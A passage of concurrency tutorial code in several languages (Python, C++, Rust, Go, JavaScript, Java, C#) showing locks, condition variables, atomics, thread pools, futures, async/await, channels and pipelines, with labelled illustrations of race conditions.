        with mutex:
            item = buffer.pop(0)
            print(f"Consumer {id} consumed {item}, buffer size: {len(buffer)}")
        empty_slots.release()  # Signal empty slot
        time.sleep(0.15)

# Create producers and consumers
producers = [threading.Thread(target=producer, args=(i,)) for i in range(2)]
consumers = [threading.Thread(target=consumer, args=(i,)) for i in range(2)]

for t in producers + consumers:
    t.start()
for t in producers + consumers:
    t.join()

import threading
import time

class BoundedQueue:
    def __init__(self, max_size):
        self.queue = []
        self.max_size = max_size
        self.lock = threading.Lock()
        self.not_empty = threading.Condition(self.lock)
        self.not_full = threading.Condition(self.lock)

    def put(self, item):
        with self.not_full:  # Acquires lock
            while len(self.queue) >= self.max_size:
                self.not_full.wait()  # Release lock and wait
            self.queue.append(item)
            self.not_empty.notify()  # Wake up a consumer

    def get(self):
        with self.not_empty:
            while len(self.queue) == 0:
                self.not_empty.wait()
            item = self.queue.pop(0)
            self.not_full.notify()  # Wake up a producer
            return item

# Usage
queue = BoundedQueue(5)

def producer(id):
    for i in range(10):
        item = f"P{id}-Item{i}"
        queue.put(item)
        print(f"Produced: {item}")
        time.sleep(0.1)

def consumer(id):
    for i in range(10):
        item = queue.get()
        print(f"Consumer {id} consumed: {item}")
        time.sleep(0.15)

threads = [
    threading.Thread(target=producer, args=(1,)),
    threading.Thread(target=consumer, args=(1,)),
]
for t in threads:
    t.start()
for t in threads:
    t.join()

#include <condition_variable>
#include <mutex>
#include <queue>
#include <thread>

template<typename T>
class BoundedQueue {
private:
    std::queue<T> queue;
    size_t max_size;
    std::mutex mtx;
    std::condition_variable not_empty;
    std::condition_variable not_full;

public:
    BoundedQueue(size_t size) : max_size(size) {}

    void put(T item) {
        std::unique_lock<std::mutex> lock(mtx);
        not_full.wait(lock, [this] { return queue.size() < max_size; });
        queue.push(item);
        not_empty.notify_one();
    }

    T get() {
        std::unique_lock<std::mutex> lock(mtx);
        not_empty.wait(lock, [this] { return !queue.empty(); });
        T item = queue.front();
        queue.pop();
        not_full.notify_one();
        return item;
    }
};

# WRONG: Don't do this
with condition:
    if not predicate():
        condition.wait()
    # Proceed

# RIGHT: Always wait in a loop
with condition:
    while not predicate():
        condition.wait()
    # Proceed

import threading

class RWLock:
    def __init__(self):
        self.readers = 0
        self.writer = False
        self.lock = threading.Lock()
        self.can_read = threading.Condition(self.lock)
        self.can_write = threading.Condition(self.lock)

    def acquire_read(self):
        with self.lock:
            while self.writer:
                self.can_read.wait()
            self.readers += 1

    def release_read(self):
        with self.lock:
            self.readers -= 1
            if self.readers == 0:
                self.can_write.notify()

    def acquire_write(self):
        with self.lock:
            while self.writer or self.readers > 0:
                self.can_write.wait()
            self.writer = True

    def release_write(self):
        with self.lock:
            self.writer = False
            self.can_write.notify()
            self.can_read.notify_all()

# Usage
class CachedData:
    def __init__(self):
        self.data = {}
        self.rwlock = RWLock()

    def read(self, key):
        self.rwlock.acquire_read()
        try:
            return self.data.get(key)
        finally:
            self.rwlock.release_read()

    def write(self, key, value):
        self.rwlock.acquire_write()
        try:
            self.data[key] = value
        finally:
            self.rwlock.release_write()

use std::sync::{Arc, RwLock};
use std::thread;

fn main() {
    let data = Arc::new(RwLock::new(vec![1, 2, 3]));
    let mut handles = vec![];

    // Spawn readers
    for i in 0..5 {
        let data = Arc::clone(&data);
        let handle = thread::spawn(move || {
            let r = data.read().unwrap();
            println!("Reader {}: {:?}", i, *r);
        });
        handles.push(handle);
    }

    // Spawn writer
    let data_clone = Arc::clone(&data);
    handles.push(thread::spawn(move || {
        let mut w = data_clone.write().unwrap();
        w.push(4);
        println!("Writer added element");
    }));

    for handle in handles {
        handle.join().unwrap();
    }
}
#include <shared_mutex>
#include <thread>
#include <vector>

class CachedData {
private:
    std::map<std::string, int> data;
    mutable std::shared_mutex rwlock;

public:
    int read(const std::string& key) const {
        std::shared_lock lock(rwlock);  // Multiple readers OK
        auto it = data.find(key);
        return it != data.end() ? it->second : 0;
    }

    void write(const std::string& key, int value) {
        std::unique_lock lock(rwlock);  // Exclusive access
        data[key] = value;
    }
};

import threading
import time

class Spinlock:
    def __init__(self):
        self.locked = False

    def acquire(self):
        while True:
            # Atomic test-and-set
            if not self.locked:
                self.locked = True
                break
            # Spin (busy-wait)

    def release(self):
        self.locked = False

# Note: Python's GIL makes spinlocks inefficient
# This is just for demonstration

#include <atomic>

class Spinlock {
private:
    std::atomic_flag flag = ATOMIC_FLAG_INIT;

public:
    void lock() {
        while (flag.test_and_set(std::memory_order_acquire)) {
            // Spin
        }
    }

    void unlock() {
        flag.clear(std::memory_order_release);
    }
};

// Usage
Spinlock spinlock;
int counter = 0;

void increment() {
    spinlock.lock();
    counter++;
    spinlock.unlock();
}

#include <atomic>
#include <thread>

class BackoffSpinlock {
private:
    std::atomic_flag flag = ATOMIC_FLAG_INIT;

public:
    void lock() {
        int backoff = 1;
        while (flag.test_and_set(std::memory_order_acquire)) {
            for (int i = 0; i < backoff; i++) {
                // Pause instruction (hint to CPU)
                std::this_thread::yield();
            }
            backoff = std::min(backoff * 2, 1024);  // Exponential backoff
        }
    }

    void unlock() {
        flag.clear(std::memory_order_release);
    }
};

import threading

# Python's += is NOT atomic (even for integers)
counter = 0

def increment():
    global counter
    for _ in range(100000):
        counter += 1  # NOT ATOMIC!

threads = [threading.Thread(target=increment) for _ in range(10)]
for t in threads:
    t.start()
for t in threads:
    t.join()

print(f"Counter: {counter}")  # Will be < 1000000 due to race conditions

# To fix: use threading.Lock or atomic operations

#include <atomic>
#include <thread>
#include <vector>

std::atomic<int> counter(0);

void increment() {
    for (int i = 0; i < 100000; i++) {
        counter.fetch_add(1, std::memory_order_relaxed);
        // Or simply: counter++;  (atomic increment)
    }
}

int main() {
    std::vector<std::thread> threads;
    for (int i = 0; i < 10; i++) {
        threads.emplace_back(increment);
    }
    for (auto& t : threads) {
        t.join();
    }
    std::cout << "Counter: " << counter << std::endl;  // Correctly prints 1000000
}

#include <atomic>

std::atomic<int> value(0);

void increment_cas() {
    int expected = value.load();
    int desired;
    do {
        desired = expected + 1;
    } while (!value.compare_exchange_weak(expected, desired));
    // If value == expected, set value to desired and return true
    // Otherwise, load current value into expected and return false
}

use std::sync::atomic::{AtomicUsize, Ordering};
use std::sync::Arc;
use std::thread;

fn main() {
    let counter = Arc::new(AtomicUsize::new(0));
    let mut handles = vec![];

    for _ in 0..10 {
        let counter = Arc::clone(&counter);
        let handle = thread::spawn(move || {
            for _ in 0..100000 {
                counter.fetch_add(1, Ordering::Relaxed);
            }
        });
        handles.push(handle);
    }

    for handle in handles {
        handle.join().unwrap();
    }

    println!("Result: {}", counter.load(Ordering::Relaxed));
}
// Example: Producer-consumer with atomics
std::atomic<bool> data_ready(false);
int data;

// Producer thread
void produce() {
    data = 42;  // Write data
    data_ready.store(true, std::memory_order_release);  // Signal
}

// Consumer thread
void consume() {
    while (!data_ready.load(std::memory_order_acquire)) {
        // Wait
    }
    // Now safe to read data
    std::cout << data << std::endl;
}

template<typename T>
class LockFreeStack {
private:
    struct Node {
        T data;
        Node* next;
    };
    std::atomic<Node*> head;

public:
    LockFreeStack() : head(nullptr) {}

    void push(T value) {
        Node* new_node = new Node{value, nullptr};
        new_node->next = head.load();
        while (!head.compare_exchange_weak(new_node->next, new_node)) {
            // Retry if another thread modified head
        }
    }

    bool pop(T& result) {
        Node* old_head = head.load();
        while (old_head &&
               !head.compare_exchange_weak(old_head, old_head->next)) {
            // Retry
        }
        if (old_head) {
            result = old_head->data;
            delete old_head;  // Note: ABA problem in production code!
            return true;
        }
        return false;
    }
};

import threading
import queue
import time
import random

def producer(q, producer_id):
    for i in range(5):
        item = f"Item-{producer_id}-{i}"
        time.sleep(random.uniform(0.1, 0.5))
        q.put(item)
        print(f"Producer {producer_id} produced {item}")
    # Signal completion
    q.put(None)

def consumer(q, consumer_id):
    while True:
        item = q.get()
        if item is None:
            q.put(None)  # Pass signal to other consumers
            break
        print(f"Consumer {consumer_id} consumed {item}")
        time.sleep(random.uniform(0.1, 0.3))
        q.task_done()

# Create queue with max size
buffer = queue.Queue(maxsize=10)

# Create and start threads
producers = [threading.Thread(target=producer, args=(buffer, i)) for i in range(2)]
consumers = [threading.Thread(target=consumer, args=(buffer, i)) for i in range(3)]

for t in producers + consumers:
    t.start()

for t in producers + consumers:
    t.join()

print("All done!")

package main

import (
    "fmt"
    "math/rand"
    "sync"
    "time"
)

func producer(ch chan<- int, id int, wg *sync.WaitGroup) {
    defer wg.Done()
    for i := 0; i < 5; i++ {
        item := id*100 + i
        time.Sleep(time.Duration(rand.Intn(500)) * time.Millisecond)
        ch <- item
        fmt.Printf("Producer %d produced %d\n", id, item)
    }
}

func consumer(ch <-chan int, id int, wg *sync.WaitGroup) {
    defer wg.Done()
    for item := range ch {
        fmt.Printf("Consumer %d consumed %d\n", id, item)
        time.Sleep(time.Duration(rand.Intn(300)) * time.Millisecond)
    }
}

func main() {
    buffer := make(chan int, 10)  // Buffered channel
    var producerWg, consumerWg sync.WaitGroup

    // Start producers
    for i := 0; i < 2; i++ {
        producerWg.Add(1)
        go producer(buffer, i, &producerWg)
    }

    // Start consumers
    for i := 0; i < 3; i++ {
        consumerWg.Add(1)
        go consumer(buffer, i, &consumerWg)
    }

    // Wait for producers to finish, then close channel
    go func() {
        producerWg.Wait()
        close(buffer)
    }()

    // Wait for consumers
    consumerWg.Wait()
    fmt.Println("All done!")
}

import threading
import time

class SharedResource:
    def __init__(self):
        self.data = []
        self.rwlock = threading.Lock()  # Simple version
        # In production, use a proper RWLock implementation

    def read_data(self, reader_id):
        # Multiple readers can hold this
        print(f"Reader {reader_id} reading: {self.data}")
        time.sleep(0.1)

    def write_data(self, writer_id, value):
        with self.rwlock:
            print(f"Writer {writer_id} writing {value}")
            self.data.append(value)
            time.sleep(0.2)

# Usage
resource = SharedResource()

def reader(resource, id):
    for _ in range(3):
        resource.read_data(id)
        time.sleep(0.05)

def writer(resource, id):
    for i in range(2):
        resource.write_data(id, f"Data-{id}-{i}")
        time.sleep(0.1)

threads = []
threads.extend([threading.Thread(target=reader, args=(resource, i)) for i in range(5)])
threads.extend([threading.Thread(target=writer, args=(resource, i)) for i in range(2)])

for t in threads:
    t.start()
for t in threads:
    t.join()

from concurrent.futures import ThreadPoolExecutor
import time

def task(n):
    print(f"Processing task {n}")
    time.sleep(1)
    return n * n

# Create thread pool with 4 workers
with ThreadPoolExecutor(max_workers=4) as executor:
    # Submit tasks
    futures = [executor.submit(task, i) for i in range(10)]

    # Get results as they complete
    for future in futures:
        result = future.result()
        print(f"Result: {result}")

# Alternative: map operation
with ThreadPoolExecutor(max_workers=4) as executor:
    results = executor.map(task, range(10))
    for result in results:
        print(f"Result: {result}")

import threading
import queue

class ThreadPool:
    def __init__(self, num_threads):
        self.tasks = queue.Queue()
        self.threads = []
        for _ in range(num_threads):
            t = threading.Thread(target=self._worker)
            t.daemon = True
            t.start()
            self.threads.append(t)

    def _worker(self):
        while True:
            func, args, kwargs = self.tasks.get()
            if func is None:
                break
            try:
                func(*args, **kwargs)
            except Exception as e:
                print(f"Error in task: {e}")
            finally:
                self.tasks.task_done()

    def submit(self, func, *args, **kwargs):
        self.tasks.put((func, args, kwargs))

    def wait_completion(self):
        self.tasks.join()

    def shutdown(self):
        for _ in self.threads:
            self.tasks.put((None, None, None))
        for t in self.threads:
            t.join()

# Usage
pool = ThreadPool(4)
for i in range(10):
    pool.submit(task, i)
pool.wait_completion()
pool.shutdown()

import java.util.concurrent.*;

public class ThreadPoolExample {
    public static void main(String[] args) throws InterruptedException {
        // Create thread pool
        ExecutorService executor = Executors.newFixedThreadPool(4);

        // Submit tasks
        for (int i = 0; i < 10; i++) {
            final int taskId = i;
            executor.submit(() -> {
                System.out.println("Task " + taskId + " running");
                try {
                    Thread.sleep(1000);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
                return taskId * taskId;
            });
        }

        // Shutdown
        executor.shutdown();
        executor.awaitTermination(1, TimeUnit.MINUTES);
    }
}

from concurrent.futures import ThreadPoolExecutor
import time

def slow_computation(n):
    time.sleep(2)
    return n * n

executor = ThreadPoolExecutor(max_workers=4)

# Submit computation, get Future object immediately
future = executor.submit(slow_computation, 5)

print("Computation started, doing other work...")
time.sleep(1)
print("Still doing other work...")

# Block until result is ready
result = future.result()  # Blocks here
print(f"Result: {result}")

# Check if done without blocking
future2 = executor.submit(slow_computation, 10)
if future2.done():
    print("Already done!")
else:
    print("Still computing...")
    future2.add_done_callback(lambda f: print(f"Result: {f.result()}"))

executor.shutdown()

// Creating a Promise
function slowComputation(n) {
    return new Promise((resolve, reject) => {
        setTimeout(() => {
            if (n < 0) {
                reject(new Error("Negative number"));
            } else {
                resolve(n * n);
            }
        }, 2000);
    });
}

// Using Promise
slowComputation(5)
    .then(result => {
        console.log("Result:", result);
        return slowComputation(result);
    })
    .then(result => {
        console.log("Second result:", result);
    })
    .catch(error => {
        console.error("Error:", error);
    });

// Multiple Promises
Promise.all([
    slowComputation(2),
    slowComputation(3),
    slowComputation(4)
]).then(results => {
    console.log("All results:", results);
});

use std::future::Future;
use std::pin::Pin;
use std::task::{Context, Poll};

struct SlowComputation {
    value: i32,
}

impl Future for SlowComputation {
    type Output = i32;

    fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<Self::Output> {
        // Simulate async work
        Poll::Ready(self.value * self.value)
    }
}

// Using async/await (built on Futures)
async fn compute(n: i32) -> i32 {
    // Simulate slow computation
    n * n
}

#[tokio::main]
async fn main() {
    let result = compute(5).await;
    println!("Result: {}", result);

    // Multiple concurrent futures
    let (r1, r2, r3) = tokio::join!(
        compute(2),
        compute(3),
        compute(4)
    );
    println!("Results: {}, {}, {}", r1, r2, r3);
}
import asyncio
import aiohttp

async def fetch_url(session, url):
    print(f"Fetching {url}")
    async with session.get(url) as response:
        data = await response.text()
        print(f"Got {len(data)} bytes from {url}")
        return data

async def main():
    urls = [
        'http://example.com',
        'http://example.org',
        'http://example.net'
    ]

    async with aiohttp.ClientSession() as session:
        # Concurrent execution
        tasks = [fetch_url(session, url) for url in urls]
        results = await asyncio.gather(*tasks)

    print(f"Fetched {len(results)} URLs")

# Run
asyncio.run(main())

// Async function
async function fetchUserData(userId) {
    try {
        const response = await fetch(`/api/users/${userId}`);
        const user = await response.json();

        // Sequential awaits
        const posts = await fetch(`/api/users/${userId}/posts`);
        const postsData = await posts.json();

        return { user, posts: postsData };
    } catch (error) {
        console.error("Error fetching user data:", error);
        throw error;
    }
}

// Concurrent execution
async function fetchMultipleUsers(userIds) {
    const promises = userIds.map(id => fetchUserData(id));
    const results = await Promise.all(promises);
    return results;
}

// Usage
fetchMultipleUsers([1, 2, 3])
    .then(users => console.log("Users:", users))
    .catch(error => console.error("Error:", error));

using System;
using System.Net.Http;
using System.Threading.Tasks;

class Program {
    static async Task<string> FetchUrlAsync(string url) {
        using (HttpClient client = new HttpClient()) {
            Console.WriteLine($"Fetching {url}");
            string content = await client.GetStringAsync(url);
            Console.WriteLine($"Got {content.Length} bytes");
            return content;
        }
    }

    static async Task Main(string[] args) {
        var urls = new[] {
            "http://example.com",
            "http://example.org",
            "http://example.net"
        };

        // Concurrent execution
        var tasks = Array.ConvertAll(urls, url => FetchUrlAsync(url));
        var results = await Task.WhenAll(tasks);

        Console.WriteLine($"Fetched {results.Length} URLs");
    }
}

package main

import "fmt"

// Stage 1: Generate numbers
func generate(nums ...int) <-chan int {
    out := make(chan int)
    go func() {
        for _, n := range nums {
            out <- n
        }
        close(out)
    }()
    return out
}

// Stage 2: Square numbers
func square(in <-chan int) <-chan int {
    out := make(chan int)
    go func() {
        for n := range in {
            out <- n * n
        }
        close(out)
    }()
    return out
}

// Stage 3: Filter even numbers
func filterEven(in <-chan int) <-chan int {
    out := make(chan int)
    go func() {
        for n := range in {
            if n%2 == 0 {
                out <- n
            }
        }
        close(out)
    }()
    return out
}

func main() {
    // Build pipeline
    c := generate(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
    c = square(c)
    c = filterEven(c)

    // Consume results
    for result := range c {
        fmt.Println(result)
    }
}

import queue
import threading

def pipeline_stage(input_queue, output_queue, transform):
    while True:
        item = input_queue.get()
        if item is None:
            output_queue.put(None)
            break
        result = transform(item)
        if result is not None:
            output_queue.put(result)
        input_queue.task_done()

# Create queues
q1 = queue.Queue()
q2 = queue.Queue()
q3 = queue.Queue()

# Create stages
stage1 = threading.Thread(target=pipeline_stage, args=(q1, q2, lambda x: x * x))
stage2 = threading.Thread(target=pipeline_stage, args=(q2, q3, lambda x: x if x % 2 == 0 else None))

stage1.start()
stage2.start()

# Feed input
for i in range(1, 11):
    q1.put(i)
q1.put(None)

# Consume output
while True:
    item = q3.get()
    if item is None:
        break
    print(item)

stage1.join()
stage2.join()

import threading
import time

def cpu_bound():
    count = 0
    for i in range(50_000_000):
        count += 1
    return count

# Single-threaded
start = time.time()
cpu_bound()
cpu_bound()
print(f"Single-threaded: {time.time() - start:.2f}s")

# Multi-threaded (doesn't help due to GIL)
start = time.time()
t1 = threading.Thread(target=cpu_bound)
t2 = threading.Thread(target=cpu_bound)
t1.start()
t2.start()
t1.join()
t2.join()
print(f"Multi-threaded: {time.time() - start:.2f}s")  # Similar time!

# Multi-processing (true parallelism)
import multiprocessing
start = time.time()
p1 = multiprocessing.Process(target=cpu_bound)
p2 = multiprocessing.Process(target=cpu_bound)
p1.start()
p2.start()
p1.join()
p2.join()
print(f"Multi-processing: {time.time() - start:.2f}s")  # Faster!

import threading
import time

# Basic thread creation
def worker(name, delay):
    print(f"{name} starting")
    time.sleep(delay)
    print(f"{name} finished")

t = threading.Thread(target=worker, args=("Thread-1", 2))
t.start()
t.join()

# Thread with return value
from concurrent.futures import ThreadPoolExecutor

def compute(x):
    return x * x

with ThreadPoolExecutor() as executor:
    future = executor.submit(compute, 5)
    result = future.result()
    print(f"Result: {result}")

# Thread-local storage
thread_local = threading.local()

def process():
    if not hasattr(thread_local, 'value'):
        thread_local.value = threading.current_thread().name
    print(f"Thread {thread_local.value} processing")

threads = [threading.Thread(target=process) for _ in range(3)]
for t in threads:
    t.start()
for t in threads:
    t.join()

import multiprocessing
import os

def worker(num):
    print(f"Worker {num}, PID: {os.getpid()}")
    return num * num

if __name__ == '__main__':
    # Process pool
    with multiprocessing.Pool(processes=4) as pool:
        results = pool.map(worker, range(10))
        print(results)

    # Shared memory
    shared_value = multiprocessing.Value('i', 0)
    shared_array = multiprocessing.Array('d', [1.0, 2.0, 3.0])

    def increment(val):
        with val.get_lock():
            val.value += 1

    processes = [multiprocessing.Process(target=increment, args=(shared_value,)) for _ in range(10)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()

    print(f"Final value: {shared_value.value}")

    # Queue for communication
    queue = multiprocessing.Queue()

    def producer(q):
        for i in range(5):
            q.put(i)

    def consumer(q):
        while True:
            item = q.get()
            if item is None:
                break
            print(f"Consumed: {item}")

    p1 = multiprocessing.Process(target=producer, args=(queue,))
    p2 = multiprocessing.Process(target=consumer, args=(queue,))

    p1.start()
    p2.start()
    p1.join()
    queue.put(None)
    p2.join()

import asyncio
import time

# Basic async function
async def say_hello(name, delay):
    await asyncio.sleep(delay)
    print(f"Hello, {name}!")

# Run async function
asyncio.run(say_hello("World", 1))

# Multiple concurrent tasks
async def main():
    await asyncio.gather(
        say_hello("Alice", 1),
        say_hello("Bob", 2),
        say_hello("Charlie", 1.5)
    )

asyncio.run(main())

# Async context manager
class AsyncResource:
    async def __aenter__(self):
        print("Acquiring resource")
        await asyncio.sleep(0.1)
        return self

    async def __aexit__(self, exc_type, exc_val, exc_tb):
        print("Releasing resource")
        await asyncio.sleep(0.1)

async def use_resource():
    async with AsyncResource() as resource:
        print("Using resource")

asyncio.run(use_resource())

# Async generator
async def async_range(count):
    for i in range(count):
        await asyncio.sleep(0.1)
        yield i

async def consume():
    async for i in async_range(5):
        print(i)

asyncio.run(consume())

# Running blocking code in executor
import concurrent.futures

def blocking_io():
    time.sleep(1)
    return "Done"

async def main():
    loop = asyncio.get_event_loop()
    result = await loop.run_in_executor(None, blocking_io)
    print(result)

asyncio.run(main())

console.log("1");

setTimeout(() => {
    console.log("2");
}, 0);

Promise.resolve().then(() => {
    console.log("3");
});

console.log("4");

// Output: 1, 4, 3, 2
// Explanation:
// - Synchronous code runs first: 1, 4
// - Microtasks (Promises) run next: 3
// - Macrotasks (setTimeout) run last: 2

// Async function always returns a Promise
async function fetchData() {
    const response = await fetch('https://api.example.com/data');
    const data = await response.json();
    return data;
}

// Error handling
async function fetchWithErrorHandling() {
    try {
        const data = await fetchData();
        console.log(data);
    } catch (error) {
        console.error("Error:", error);
    }
}

// Parallel execution
async function fetchMultiple() {
    const [user, posts, comments] = await Promise.all([
        fetch('/api/user').then(r => r.json()),
        fetch('/api/posts').then(r => r.json()),
        fetch('/api/comments').then(r => r.json())
    ]);

    return { user, posts, comments };
}

// Race condition
async function fetchWithTimeout(url, timeout) {
    const fetchPromise = fetch(url);
    const timeoutPromise = new Promise((_, reject) =>
        setTimeout(() => reject(new Error('Timeout')), timeout)
    );

    return Promise.race([fetchPromise, timeoutPromise]);
}

// main.js - Main thread
const worker = new Worker('worker.js');

// Send message to worker
worker.postMessage({ data: [1, 2, 3, 4, 5] });

// Receive message from worker
worker.onmessage = function(event) {
    console.log("Result from worker:", event.data);
};

worker.onerror = function(error) {
    console.error("Worker error:", error);
};

// Terminate worker
// worker.terminate();

// worker.js - Worker thread
self.onmessage = function(event) {
    const data = event.data.data;

    // Perform heavy computation
    const result = data.map(x => x * x);

    // Send result back
    self.postMessage(result);
};

// main.js
const shared = new SharedArrayBuffer(16);
const view = new Int32Array(shared);

const worker = new Worker('worker.js');
worker.postMessage(shared);

// Atomic operations
Atomics.store(view, 0, 123);
console.log(Atomics.load(view, 0));

// Wait/notify
Atomics.wait(view, 0, 123);  // Wait until value at index 0 is not 123

// worker.js
self.onmessage = function(event) {
    const shared = event.data;
    const view = new Int32Array(shared);

    Atomics.store(view, 0, 456);
    Atomics.notify(view, 0, 1);  // Wake up one waiter
};

package main

import (
    "fmt"
    "time"
)

func say(s string) {
    for i := 0; i < 3; i++ {
        time.Sleep(100 * time.Millisecond)
        fmt.Println(s)
    }
}

func main() {
    // Start goroutine
    go say("world")
    say("hello")
}

// Anonymous goroutine
go func() {
    fmt.Println("Anonymous goroutine")
}()

// Goroutines are very lightweight (~2KB stack)
for i := 0; i < 1000; i++ {
    go func(id int) {
        fmt.Println("Goroutine", id)
    }(i)
}

// Unbuffered channel
ch := make(chan int)

// Send (blocks until received)
go func() {
    ch <- 42
}()

// Receive (blocks until sent)
value := <-ch
fmt.Println(value)

// Buffered channel
ch := make(chan int, 3)
ch <- 1  // Doesn't block
ch <- 2
ch <- 3
// ch <- 4  // Would block (buffer full)

// Close channel
close(ch)

// Range over channel
ch := make(chan int, 5)
go func() {
    for i := 0; i < 5; i++ {
        ch <- i
    }
    close(ch)
}()

for value := range ch {
    fmt.Println(value)
}

// Check if closed
value, ok := <-ch
if !ok {
    fmt.Println("Channel closed")
}

package main

import (
    "fmt"
    "time"
)

func main() {
    ch1 := make(chan string)
    ch2 := make(chan string)

    go func() {
        time.Sleep(1 * time.Second)
        ch1 <- "one"
    }()

    go func() {
        time.Sleep(2 * time.Second)
        ch2 <- "two"
    }()

    // Wait for both
    for i := 0; i < 2; i++ {
        select {
        case msg1 := <-ch1:
            fmt.Println("Received", msg1)
        case msg2 := <-ch2:
            fmt.Println("Received", msg2)
        case <-time.After(3 * time.Second):
            fmt.Println("Timeout")
        }
    }

    // Non-blocking select
    select {
    case msg := <-ch1:
        fmt.Println(msg)
    default:
        fmt.Println("No message ready")
    }
}

package main

import (
    "fmt"
    "sync"
)

// Mutex
var (
    counter int
    mutex   sync.Mutex
)

func increment() {
    mutex.Lock()
    counter++
    mutex.Unlock()
}

// WaitGroup
func worker(id int, wg *sync.WaitGroup) {
    defer wg.Done()
    fmt.Printf("Worker %d starting\n", id)
    fmt.Printf("Worker %d done\n", id)
}

func main() {
    var wg sync.WaitGroup

    for i := 1; i <= 5; i++ {
        wg.Add(1)
        go worker(i, &wg)
    }

    wg.Wait()
    fmt.Println("All workers done")
}

// Once (execute exactly once)
var once sync.Once

func initialize() {
    fmt.Println("Initializing...")
}

func main() {
    for i := 0; i < 10; i++ {
        once.Do(initialize)  // Only prints once
    }
}

// Atomic operations
import "sync/atomic"

var counter int64

func increment() {
    atomic.AddInt64(&counter, 1)
}

func get() int64 {
    return atomic.LoadInt64(&counter)
}

// Most types are Send and Sync
// Exceptions: Rc, RefCell (not thread-safe)

use std::sync::Arc;
use std::thread;

fn main() {
    let data = Arc::new(vec![1, 2, 3]);  // Arc is Send + Sync

    let mut handles = vec![];
    for i in 0..3 {
        let data = Arc::clone(&data);
        let handle = thread::spawn(move || {
            println!("Thread {} sees: {:?}", i, data);
        });
        handles.push(handle);
    }

    for handle in handles {
        handle.join().unwrap();
    }
}
use std::thread;
use std::time::Duration;

fn main() {
    // Spawn thread
    let handle = thread::spawn(|| {
        for i in 1..10 {
            println!("Thread: {}", i);
            thread::sleep(Duration::from_millis(1));
        }
    });

    for i in 1..5 {
        println!("Main: {}", i);
        thread::sleep(Duration::from_millis(1));
    }

    handle.join().unwrap();

    // Thread with return value
    let handle = thread::spawn(|| {
        42
    });
    let result = handle.join().unwrap();
    println!("Result: {}", result);

    // Moving data into thread
    let v = vec![1, 2, 3];
    let handle = thread::spawn(move || {
        println!("Vector: {:?}", v);
    });
    // v is moved, can't use here
    handle.join().unwrap();
}
use std::sync::{Arc, Mutex};
use std::thread;

fn main() {
    let counter = Arc::new(Mutex::new(0));
    let mut handles = vec![];

    for _ in 0..10 {
        let counter = Arc::clone(&counter);
        let handle = thread::spawn(move || {
            let mut num = counter.lock().unwrap();
            *num += 1;
        });
        handles.push(handle);
    }

    for handle in handles {
        handle.join().unwrap();
    }

    println!("Result: {}", *counter.lock().unwrap());
}
use std::sync::mpsc;
use std::thread;
use std::time::Duration;

fn main() {
    let (tx, rx) = mpsc::channel();

    thread::spawn(move || {
        let vals = vec![
            String::from("hi"),
            String::from("from"),
            String::from("thread"),
        ];

        for val in vals {
            tx.send(val).unwrap();
            thread::sleep(Duration::from_secs(1));
        }
    });

    for received in rx {
        println!("Got: {}", received);
    }

    // Multiple producers
    let (tx, rx) = mpsc::channel();
    let tx1 = tx.clone();

    thread::spawn(move || {
        tx.send("message from first").unwrap();
    });

    thread::spawn(move || {
        tx1.send("message from second").unwrap();
    });

    for _ in 0..2 {
        println!("{}", rx.recv().unwrap());
    }
}
// Extending Thread class
class MyThread extends Thread {
    public void run() {
        System.out.println("Thread running: " + getName());
    }
}

// Implementing Runnable
class MyRunnable implements Runnable {
    public void run() {
        System.out.println("Runnable running");
    }
}

public class Main {
    public static void main(String[] args) {
        // Start thread
        MyThread thread = new MyThread();
        thread.start();

        // Using Runnable
        Thread thread2 = new Thread(new MyRunnable());
        thread2.start();

        // Lambda expression
        Thread thread3 = new Thread(() -> {
            System.out.println("Lambda thread");
        });
        thread3.start();

        // Join
        try {
            thread.join();
            thread2.join();
            thread3.join();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

class Counter {
    private int count = 0;

    // Synchronized method
    public synchronized void increment() {
        count++;
    }

    // Synchronized block
    public void increment2() {
        synchronized(this) {
            count++;
        }
    }

    public synchronized int getCount() {
        return count;
    }
}

// Static synchronized (class-level lock)
class MyClass {
    private static int count = 0;

    public static synchronized void increment() {
        count++;
    }
}

import java.util.concurrent.*;

public class ExecutorExample {
    public static void main(String[] args) throws InterruptedException, ExecutionException {
        // Fixed thread pool
        ExecutorService executor = Executors.newFixedThreadPool(4);

        // Submit Runnable
        executor.submit(() -> {
            System.out.println("Task running");
        });

        // Submit Callable (returns value)
        Future<Integer> future = executor.submit(() -> {
            Thread.sleep(1000);
            return 42;
        });

        System.out.println("Result: " + future.get());  // Blocks

        // Execute multiple tasks
        List<Callable<Integer>> tasks = new ArrayList<>();
        for (int i = 0; i < 10; i++) {
            final int taskId = i;
            tasks.add(() -> taskId * taskId);
        }

        List<Future<Integer>> results = executor.invokeAll(tasks);
        for (Future<Integer> result : results) {
            System.out.println(result.get());
        }

        // Shutdown
        executor.shutdown();
        executor.awaitTermination(1, TimeUnit.MINUTES);
    }
}

import java.util.concurrent.*;

// ConcurrentHashMap
ConcurrentHashMap<String, Integer> map = new ConcurrentHashMap<>();
map.put("key", 1);
map.putIfAbsent("key", 2);  // Atomic
int value = map.get("key");

// CopyOnWriteArrayList (good for read-heavy workloads)
CopyOnWriteArrayList<String> list = new CopyOnWriteArrayList<>();
list.add("item");

// BlockingQueue
BlockingQueue<Integer> queue = new ArrayBlockingQueue<>(10);

// Producer
new Thread(() -> {
    try {
        for (int i = 0; i < 10; i++) {
            queue.put(i);  // Blocks if full
        }
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
}).start();

// Consumer
new Thread(() -> {
    try {
        while (true) {
            Integer item = queue.take();  // Blocks if empty
            System.out.println(item);
        }
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
}).start();

#include <iostream>
#include <thread>
#include <vector>

void hello() {
    std::cout << "Hello from thread\n";
}

void count(int n) {
    for (int i = 0; i < n; i++) {
        std::cout << i << " ";
    }
}

int main() {
    // Basic thread
    std::thread t1(hello);
    t1.join();

    // Thread with arguments
    std::thread t2(count, 10);
    t2.join();

    // Lambda
    std::thread t3([]() {
        std::cout << "Lambda thread\n";
    });
    t3.join();

    // Multiple threads
    std::vector<std::thread> threads;
    for (int i = 0; i < 4; i++) {
        threads.emplace_back([i]() {
            std::cout << "Thread " << i << "\n";
        });
    }

    for (auto& t : threads) {
        t.join();
    }

    return 0;
}

#include <iostream>
#include <thread>
#include <mutex>
#include <vector>

